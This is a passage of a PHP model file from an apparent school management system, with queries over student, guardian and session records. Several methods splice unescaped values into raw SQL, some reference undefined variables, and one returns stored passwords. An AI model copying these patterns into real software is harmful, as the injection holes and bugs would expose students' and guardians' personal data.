$field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); $sections = $this->teacher_model->get_teacherrestricted_modeallsections($staff_id); foreach ($sections as $key => $value) { $sections_id[] = $value['section_id']; } $this->db->where_in("student_session.section_id", $sections_id); } else { $this->db->where_in("student_session.class_id", ""); } } $this->db->select('classes.id AS `class_id`,students.id,student_session.id as student_session_id,GROUP_CONCAT(classes.class,"(",sections.section,")") as class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,student_session.session_id,' . $field_variable)->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->where('student_session.is_alumni', '1'); $this->db->group_start(); $this->db->like('students.admission_no', $searchterm); $this->db->group_end(); $this->db->group_by('students.id'); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function guardian_credential($parent_id) { $this->db->select('id,user_id,username,password')->from('users'); $this->db->where('id', $parent_id); $query = $this->db->get(); return $query->row_array(); } public function search_student() { $this->db->select('classes.id AS `class_id`,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,students.category_id, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.father_phone,students.father_occupation,students.mother_name,students.mother_phone,students.mother_occupation,students.guardian_occupation')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->where('student_session.session_id', $this->current_session); if ($id != null) { $this->db->where('students.id', $id); } else { $this->db->order_by('students.id'); } $query = $this->db->get(); if ($id != null) { return $query->row_array(); } else { return $query->result_array(); } } public function getstudentdoc($id) { $this->db->select()->from('student_doc'); $this->db->where('student_id', $id); $query = $this->db->get(); return $query->result_array(); } public function searchByClassSection($class_id = null, $section_id = null) { $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.app_key,students.parent_app_key,students.rte,students.gender,' . $field_variable)->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', "yes"); if ($class_id != null) { $this->db->where('student_session.class_id', $class_id); } if ($section_id != null) { $this->db->where('student_session.section_id', $section_id); } //$this->db->order_by('students.id'); $this->db->order_by('students.admission_no', 'asc'); $query = $this->db->get(); return $query->result_array(); } public function searchByClassSectionWithoutCurrent($class_id = null, $section_id = null, $student_id = null) { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', "yes"); $this->db->where('students.id !=', $student_id); if ($class_id != null) { $this->db->where('student_session.class_id', $class_id); } if ($section_id != null) { $this->db->where('student_session.section_id', $section_id); } $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function searchByClassSectionCategoryGenderRte($class_id = null, $section_id = null , $category = null, $gender = null, $rte = null) { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,students.category_id, categories.category, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); if ($class_id != null) { $this->db->where('student_session.class_id', $class_id); } if ($section_id != null) { $this->db->where('student_session.section_id', $section_id); } if ($category != null) { $this->db->where('students.category_id', $category); } if ($gender != null) { $this->db->where('students.gender', $gender); } if ($rte != null) { $this->db->where('students.rte', $rte); } $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function searchFullText($searchterm, $carray = null) { $userdata = $this->customlib->getUserData(); $staff_id = $userdata['id']; $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); $sections = $this->teacher_model->get_teacherrestricted_modeallsections($staff_id); foreach ($sections as $key => $value) { $sections_id[] = $value['section_id']; } $this->db->where_in("student_session.section_id", $sections_id); } else { $this->db->where_in("student_session.class_id", ""); } } $this->db->select('classes.id AS `class_id`,students.id,student_session.id as student_session_id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,student_session.session_id,' . $field_variable)->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->group_start(); $this->db->like('CONCAT(students.firstname," ",students.lastname)', $searchterm); $this->db->or_like('students.guardian_name', $searchterm); $this->db->or_like('students.adhar_no', $searchterm); $this->db->or_like('students.samagra_id', $searchterm); $this->db->or_like('students.roll_no', $searchterm); $this->db->or_like('students.admission_no', $searchterm); $this->db->group_end(); $this->db->order_by('students.id'); $query = $this->db->get(); // echo $this->db->last_query();die; return $query->result_array(); } public function admission_report($searchterm, $carray = null, $condition = null) { $userdata = $this->customlib->getUserData(); $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); } else { } } $this->db->select('classes.id AS `class_id`,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,student_session.session_id,' . $field_variable)->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->group_start(); $this->db->like('students.firstname', $searchterm); $this->db->or_like('students.lastname', $searchterm); $this->db->or_like('students.guardian_name', $searchterm); $this->db->or_like('students.adhar_no', $searchterm); $this->db->or_like('students.samagra_id', $searchterm); $this->db->or_like('students.roll_no', $searchterm); $this->db->or_like('students.admission_no', $searchterm); $this->db->group_end(); //$this->db->group_by('students.id'); if ($condition != null) { $this->db->where($condition); } $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function student_ratio() { $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); $this->db->select(' count(*) as total_student, SUM(CASE WHEN `gender` = "Male" THEN 1 ELSE 0 END) AS "male",SUM(CASE WHEN `gender` = "Female" THEN 1 ELSE 0 END) AS "female", classes.class,sections.section, classes.id as class_id, sections.id as section_id')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->join('class_sections', 'class_sections.class_id = classes.id and class_sections.section_id=sections.id', 'inner'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->group_by('class_sections.id'); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function sibling_report($searchterm, $carray = null, $condition = null) { $userdata = $this->customlib->getUserData(); $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); } else { $this->db->where_in("student_session.class_id", ""); } } $this->db->select('classes.id AS `class_id`,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name,students.mother_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,student_session.session_id,students.parent_id,' . $field_variable)->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); if ($condition != null) { $this->db->where($condition); } $this->db->group_by('students.admission_no'); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function sibling_reportsearch($searchterm, $carray = null, $condition = null) { $userdata = $this->customlib->getUserData(); $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); } else { $this->db->where_in("student_session.class_id", ""); } } $this->db->select('students.parent_id')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); if ($condition != null) { $this->db->where($condition); } $this->db->group_by('students.parent_id'); $this->db->group_by('students.admission_no'); $this->db->order_by('students.father_name'); $query = $this->db->get(); return $query->result_array(); } public function getStudentListBYStudentsessionID($array) { $array = implode(',', $array); $sql = ' SELECT students.* FROM students INNER join (SELECT * FROM `student_session` WHERE `student_session`.`id` IN (' . $array . ')) as student_session on students.id=student_session.student_id'; $query = $this->db->query($sql); return $query->result(); } public function remove($id) { $this->db->trans_start(); $sql = "SELECT * FROM `users` WHERE childs LIKE '%," . $id . ",%' OR childs LIKE '" . $id . ",%' OR childs LIKE '%," . $id . "' OR childs = " . $id; $query = $this->db->query($sql); if ($query->num_rows() > 0) { $result = $query->row(); $array_slice = explode(',', $result->childs); if (count($array_slice) > 1) { $arr = array_diff($array_slice, array($id)); $update = implode(",", $arr); $data = array('childs' => $update); $this->db->where('id', $result->id); $this->db->update('users', $data); } else { $this->db->where('id', $result->id); $this->db->delete('users'); } } $this->db->where('id', $id); $this->db->delete('students'); $this->db->where('student_id', $id); $this->db->delete('student_session'); $this->db->where('user_id', $id); $this->db->where('role', 'student'); $this->db->delete('users'); $this->db->trans_complete(); if ($this->db->trans_status() === false) { return false; } else { return true; } } public function doc_delete($id) { $this->db->where('id', $id); $this->db->delete('student_doc'); } public function add($data, $data_setting = array()) { if (isset($data['id'])) { $this->db->where('id', $data['id']); $this->db->update('students', $data); $message = UPDATE_RECORD_CONSTANT . " On students id " . $data['id']; $action = "Update"; $record_id = $insert_id = $data['id']; $this->log($message, $record_id, $action); } else { if (!empty($data_setting)) { if ($data_setting['adm_auto_insert']) { if ($data_setting['adm_update_status'] == 0) { $data_setting['adm_update_status'] = 1; $this->setting_model->add($data_setting); } } $this->db->insert('students', $data); $insert_id = $this->db->insert_id(); $message = INSERT_RECORD_CONSTANT . " On students id " . $insert_id; $action = "Insert"; $record_id = $insert_id; $this->log($message, $record_id, $action); return $insert_id; } } } public function add_student_sibling($data_sibling) { $this->db->trans_start(); # Starting Transaction $this->db->trans_strict(false); # See Note 01. If you wish can remove as well //=======================Code Start=========================== if (isset($data['id'])) { $this->db->where('id', $data['id']); $this->db->update('student_sibling', $data_sibling); $message = UPDATE_RECORD_CONSTANT . " On student sibling id " . $data['id']; $action = "Update"; $record_id = $insert_id = $data['id']; $this->log($message, $record_id, $action); } else { $this->db->insert('student_sibling', $data_sibling); $insert_id = $this->db->insert_id(); $message = INSERT_RECORD_CONSTANT . " On student sibling id " . $insert_id; $action = "Insert"; $record_id = $insert_id; $this->log($message, $record_id, $action); //return $insert_id; } //echo $this->db->last_query();die; //======================Code End============================== $this->db->trans_complete(); # Completing transaction /* Optional */ if ($this->db->trans_status() === false) { # Something went wrong. $this->db->trans_rollback(); return false; } else { return $insert_id; } } public function add_student_session($data) { $this->db->trans_start(); # Starting Transaction $this->db->trans_strict(false); # See Note 01. If you wish can remove as well //=======================Code Start=========================== $this->db->where('session_id', $data['session_id']); $this->db->where('student_id', $data['student_id']); $q = $this->db->get('student_session'); if ($q->num_rows() > 0) { $rec = $q->row_array(); $this->db->where('id', $rec['id']); $this->db->update('student_session', $data); $message = UPDATE_RECORD_CONSTANT . " On student session id " . $rec['id']; $action = "Update"; $record_id = $rec['id']; $this->log($message, $record_id, $action); } else { $this->db->insert('student_session', $data); $id = $this->db->insert_id(); $message = INSERT_RECORD_CONSTANT . " On student session id " . $id; $action = "Insert"; $record_id = $id; $this->log($message, $record_id, $action); } //echo $this->db->last_query();die; //======================Code End============================== $this->db->trans_complete(); # Completing transaction /* Optional */ if ($this->db->trans_status() === false) { # Something went wrong. $this->db->trans_rollback(); return false; } else { return true; } } public function add_student_session_update($data) { $this->db->where('session_id', $data['session_id']); $q = $this->db->get('student_session'); if ($q->num_rows() > 0) { $this->db->where('session_id', $student_session); $this->db->update('student_session', $data); } else { $this->db->insert('student_session', $data); return $this->db->insert_id(); } } public function alumni_student_status($data) { $this->db->where('student_id', $data['student_id']); $this->db->where('session_id', $this->current_session); $this->db->update('student_session', $data); } public function adddoc($data) { $this->db->insert('student_doc', $data); return $this->db->insert_id(); } public function read_siblings_students($parent_id) { $this->db->select('*')->from('students'); $this->db->where('parent_id', $parent_id); $this->db->where('students.is_active', 'yes'); $query = $this->db->get(); return $query->result(); } public function getMySiblings($parent_id, $student_id) { $this->db->select('students.*,classes.id as `class_id`,classes.class,sections.id as `section_id`,sections.section,student_session.session_id as `session_id`')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where_not_in('students.id', $student_id); $this->db->where('students.parent_id', $parent_id); $this->db->where('students.is_active', 'yes'); $query = $this->db->get(); return $query->result(); } public function getAttedenceByDateandClass($date) { $sql = "SELECT IFNULL(student_attendences.id, 0) as attencence FROM `student_session`left JOIN student_attendences on student_attendences.student_session_id=student_session.id and student_attendences.date=" . $this->db->escape($date) . " and student_attendences.attendence_type_id != 2 where student_session.class_id=7 and student_session.session_id=$this->current_session"; $query = $this->db->query($sql); return $query->result_array(); } public function searchCurrentSessionStudents() { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->order_by('students.firstname', 'asc'); $query = $this->db->get(); return $query->result_array(); } public function searchLibraryStudent($class_id = null, $section_id = null) { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`, IFNULL(libarary_members.id,0) as `libarary_member_id`, IFNULL(libarary_members.library_card_no,0) as `library_card_no`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->join('libarary_members', 'libarary_members.member_id = students.id and libarary_members.member_type = "student"', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); if ($class_id != null) { $this->db->where('student_session.class_id', $class_id); } if ($section_id != null) { $this->db->where('student_session.section_id', $section_id); } $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function searchNameLike($searchterm) { $this->db->select('classes.id AS `class_id`,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode ,students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_email,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,students.app_key,students.parent_app_key,student_session.session_id')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->group_start(); $this->db->like('students.firstname', $searchterm); $this->db->or_like('students.lastname', $searchterm); $this->db->group_end(); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function searchGuardianNameLike($searchterm) { $this->db->select('classes.id AS `class_id`,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.guardian_email,students.rte,student_session.session_id,students.app_key,students.parent_app_key')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->group_start(); $this->db->like('students.guardian_name', $searchterm); $this->db->group_end(); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function searchByClassSectionWithSession($class_id = null, $section_id = null, $session_id = null) { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); if ($class_id != null) { $this->db->where('student_session.class_id', $class_id); } if ($section_id != null) { $this->db->where('student_session.section_id', $section_id); } $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function getPreviousSessionStudent($previous_session_id, $class_id, $section_id) { $sql = "SELECT student_session.student_id as student_id, student_session.id as current_student_session_id, student_session.class_id as current_session_class_id ,previous_session.id as previous_student_session_id,students.firstname,students.lastname,students.admission_no,students.roll_no,students.father_name,students.admission_date FROM `student_session` left JOIN (SELECT * FROM `student_session` where session_id=$previous_session_id) as previous_session on student_session.student_id=previous_session.student_id INNER join students on students.id =student_session.student_id where student_session.session_id=$this->current_session and student_session.class_id=$class_id and student_session.section_id=$section_id and students.is_active='yes' ORDER BY students.firstname ASC"; $query = $this->db->query($sql); return $query->result(); } public function studentGuardianDetails($carray) { $userdata = $this->customlib->getUserData(); $this->db->SELECT("students.admission_no,students.firstname,students.mobileno,students.father_phone,students.mother_phone,students.lastname,students.father_name,students.mother_name,students.guardian_name,students.guardian_relation,students.guardian_phone,students.id,classes.class,sections.section"); $this->db->join("student_session", "student_session.student_id = students.id"); $this->db->join("classes", "student_session.class_id = classes.id"); $this->db->join("sections", "student_session.section_id = sections.id"); $this->db->where("students.is_active", "yes"); $this->db->where('student_session.session_id', $this->current_session); if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); } else { $this->db->where_in("student_session.class_id", ""); } } $query = $this->db->get("students"); return $query->result_array(); } public function searchGuardianDetails($class_id, $section_id) { $this->db->SELECT("students.admission_no,students.firstname,students.lastname,students.mobileno,students.father_phone,students.mother_phone,students.father_name,students.mother_name,students.guardian_name,students.guardian_relation,students.guardian_phone,students.id,classes.class,sections.section"); $this->db->join("student_session", "student_session.student_id = students.id"); $this->db->join("classes", "student_session.class_id = classes.id"); $this->db->join("sections", "student_session.section_id = sections.id"); $this->db->where("students.is_active", "yes"); $this->db->where('student_session.session_id', $this->current_session); $this->db->where(array('student_session.class_id' => $class_id, 'student_session.section_id' => $section_id)); $query = $this->db->get("students"); return $query->result_array(); } public function studentAdmissionDetails($carray = null) { $userdata = $this->customlib->getUserData(); if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); } else { $this->db->where_in("student_session.class_id", ""); } } $query = $this->db->SELECT("students.firstname,students.lastname,students.is_active, students.mobileno, students.id as sid ,students.admission_no, students.admission_date, students.guardian_name, students.guardian_relation, students.guardian_phone, classes.class, sessions.id, sections.section")->join("student_session", "students.id = student_session.student_id")->join("classes", "student_session.class_id = 